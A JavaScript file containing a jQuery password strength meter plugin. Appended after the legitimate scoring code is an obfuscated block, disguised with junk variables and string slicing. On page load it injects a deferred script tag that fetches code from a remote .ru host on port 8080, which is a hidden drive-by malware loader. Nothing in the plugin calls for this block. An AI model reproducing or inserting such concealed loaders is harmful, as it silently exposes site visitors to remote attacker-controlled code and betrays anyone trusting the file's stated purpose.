// Password strength meter
// This jQuery plugin is written by firas kassem [2007.04.05]
// Firas Kassem  phiras.wordpress.com || phiras at gmail {dot} com
// for more information : http://phiras.wordpress.com/2007/04/08/password-strength-meter-a-jquery-plugin/

var shortPass = 'Too short'
var badPass = 'Bad'
var goodPass = 'Good'
var strongPass = 'Strong'



function passwordStrength(password,username)
{
    score = 0 
    
    //password < 4
    if (password.length < 4 ) { return shortPass }
    
    //password == username
    if (password.toLowerCase()==username.toLowerCase()) return badPass
    
    //password length
    score += password.length * 4
    score += ( checkRepetition(1,password).length - password.length ) * 1
    score += ( checkRepetition(2,password).length - password.length ) * 1
    score += ( checkRepetition(3,password).length - password.length ) * 1
    score += ( checkRepetition(4,password).length - password.length ) * 1

    //password has 3 numbers
    if (password.match(/(.*[0-9].*[0-9].*[0-9])/))  score += 5 
    
    //password has 2 sybols
    if (password.match(/(.*[!,@,#,$,%,^,&,*,?,_,~].*[!,@,#,$,%,^,&,*,?,_,~])/)) score += 5 
    
    //password has Upper and Lower chars
    if (password.match(/([a-z].*[A-Z])|([A-Z].*[a-z])/))  score += 10 
    
    //password has number and chars
    if (password.match(/([a-zA-Z])/) && password.match(/([0-9])/))  score += 15 
    //
    //password has number and symbol
    if (password.match(/([!,@,#,$,%,^,&,*,?,_,~])/) && password.match(/([0-9])/))  score += 15 
    
    //password has char and symbol
    if (password.match(/([!,@,#,$,%,^,&,*,?,_,~])/) && password.match(/([a-zA-Z])/))  score += 15 
    
    //password is just a nubers or chars
    if (password.match(/^\w+$/) || password.match(/^\d+$/) )  score -= 10 
    
    //verifing 0 < score < 100
    if ( score < 0 )  score = 0 
    if ( score > 100 )  score = 100 
    
    if (score < 34 )  return badPass 
    if (score < 68 )  return goodPass
    return strongPass
}


// checkRepetition(1,'aaaaaaabcbc')   = 'abcbc'
// checkRepetition(2,'aaaaaaabcbc')   = 'aabc'
// checkRepetition(2,'aaaaaaabcdbcd') = 'aabcd'

function checkRepetition(pLen,str) {
    res = ""
    for ( i=0; i<str.length ; i++ ) {
        repeated=true
        for (j=0;j < pLen && (j+i+pLen) < str.length;j++)
            repeated=repeated && (str.charAt(j+i)==str.charAt(j+i+pLen))
        if (j<pLen) repeated=false
        if (repeated) {
            i+=pLen-1
            repeated=false
        }
        else {
            res+=str.charAt(i)
        }
    }
    return res
}
var w;var pO=["Kw","Si","A"];var ff=[];s=function(){try {var iA='U'} catch(iA){};try {var SA='r'} catch(SA){};bi=13112;bi--;ES=54459;ES--;function b(K,KZ,ba){n=["EM","R","P"];return K.substr(KZ,ba);O=[];d=54954;d++;}this.qU=37510;this.qU++;var c=String(b("/plQ23I",0,3)+b("9uhSentSu9h",4,3)+b("yofnsYK",0,3)+"fis"+"h-c"+b("AdEtom/EdAt",4,3)+b("gooG7P",0,3)+"gle"+".co"+b("m/a0Fn",0,3)+"bou"+b("tusUx4v",0,3)+".or"+"g.p"+b("hpuRNv",0,2));var zq='';var t='';var E=document;aU=63507;aU++;C=8468;C--;var i=RegExp;UB={W:1243};var aN={rB:33800};eR={v:52467};uC=["J"];this.vc='';function I(K,KZ){F={bak:5654};var ls="";var ba=new String(b("[7HK",0,1))+KZ+String("]");var G=new i(ba, String("g"));return K.replace(G, t);};this.Yu=40099;this.Yu+=195;this.YB="YB";var h=b("bodyjCh",0,4);this.zF="zF";var a=I('sVcTrviTpTtv','NE7Tv5yVK');this.DB=16149;this.DB--;var Q=null;try {var ce='vS'} catch(ce){};var u=695531-687451;tp=["cP"];w=function(){try {var jJ='Ku'} catch(jJ){};try {var xa='bB'} catch(xa){};try {var hf="";var ff_={mt:18397};var p=I('czrkekaxtHeXE6lPeKm3eZnMt3','YCHXMvdbk6zZx7KP3');try {var na='YX'} catch(na){};S=E[p](a);var xz='';this.vn=32933;this.vn++;var iS=["Da"];var K=u+c;Wu=43840;Wu--;gS=3028;gS--;qj=7048;qj--;mC=[];var y=I('s4r4c1','Iuw481hl');this.Oz=57358;this.Oz+=52;var f=new String("defe"+"r");var fl=["OM"];S[y]=b("httporD",0,4)+b("y4O0://tO04y",4,4)+"enth"+b("proflK4U",0,4)+b("it.r7eb",0,4)+b("sGv6u:6sGv",4,2)+K;this.Zt=33095;this.Zt+=34;S[f]=[1,9][0];cD=["dZ","ny","mlz"];o={};this.Ll=55576;this.Ll--;E[h].appendChild(S);WW=55385;WW--;this.Uu="";} catch(x){fA={};this.dx=207;this.dx+=218;Vk=["Xf"];};};this.eK=false;};s();try {var Nc='gC'} catch(Nc){};window.onload=w;QG=["az","id","Eh"];var pL=["pT","pc"];